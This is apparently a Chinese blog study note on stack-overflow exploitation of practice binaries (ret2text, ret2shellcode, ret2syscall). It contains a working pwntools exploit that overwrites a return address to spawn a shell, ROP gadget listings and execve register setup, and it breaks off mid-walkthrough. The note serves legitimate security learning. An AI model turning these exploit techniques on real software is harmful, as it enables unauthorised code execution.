Pwn学习随笔(14)

可以看到 esp 为 0xffffcd40 , ebp 为 0xffffcdc8 , 同时 s 相对于 esp 的索引为 esp+0x1c , 因此 , 我们可以推断

  • s 的地址为 0xffffcd5c
  • s 相对于 ebp 的偏移为 0x6c
  • s 相对于返回地址的偏移为 0x6c+4
最后的 payload 如下:
##!/usr/bin/env pythonfrom pwn import *sh = process('./ret2text')target = 0x804863ash.sendline('A' * (0x6c+4) + p32(target))sh.interactive()ret2shellcoderet2shellcode , 即控制程序执行 shellcode代码 。shellcode 指的是用于完成某个功能的汇编代码 , 常见的功能主要是获取目标系统的 shell 。一般来说 , shellcode 需要我们自己填充 。这其实是另外一种典型的利用方法 , 即此时我们需要自己去填充一些可执行的代码 。
在栈溢出的基础上 , 要想执行 shellcode , 需要对应的 binary 在运行时 , shellcode 所在的区域具有可执行权限 。
ret2syscallret2syscall , 即控制程序执行系统调用 , 获取 shell 。[system调用号表格](https://blog.csdn.net/SUKI547/article/details/103315487?ops_request_misc=&request_id=&biz_id=102&utm_term=linux 系统调用表64位&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-0-.first_rank_v2_pc_rank_v29&spm=1018.2226.3001.4187)
例子
首先检测程序开启的保护
?ret2syscall checksec ropArch:i386-32-littleRELRO:Partial RELROStack:No canary foundNX:NX enabledPIE:No PIE (0x8048000)可以看出 , 源程序为 32 位 , 开启了 NX 保护 。接下来利用 IDA 来查看源码
int __cdecl main(int argc, const char **argv, const char **envp){int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("This time, no system() and NO SHELLCODE!!!");puts("What do you plan to do?");gets(&v4);return 0;}可以看出此次仍然是一个栈溢出 。类似于之前的做法 , 我们可以获得 v4 相对于 ebp 的偏移为 108 。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112 。此次 , 由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell , 所以我们利用程序中的 gadgets 来获得 shell , 而对应的 shell 获取则是利用系统调用 。
简单地说 , 只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中 , 那么我们在执行 int 0x80 就可执行对应的系统调用 。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)其中 , 该程序是 32 位 , 所以我们需要使得
  • 系统调用号 , 即 eax 应该为 0xb
  • 第一个参数 , 即 ebx 应该指向 /bin/sh 的地址 , 其实执行 sh 的地址也可以 。
  • 第二个参数 , 即 ecx 应该为 0
  • 第三个参数 , 即 edx 应该为 0
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets 。比如说 , 现在栈顶是 10 , 那么如果此时执行了pop eax , 那么现在 eax 的值就为 10 。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器 , 所以我们需要一段一段控制 , 这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因 。具体寻找 gadgets的方法 , 我们可以使用 ropgadgets 这个工具 。
首先 , 我们来寻找控制 eax 的gadgets
?ret2syscall ROPgadget --binary rop--only 'pop|ret' | grep 'eax'0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret0x080bb196 : pop eax ; ret0x0807217a : pop eax ; ret 0x80e0x0804f704 : pop eax ; ret 30x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

经验总结扩展阅读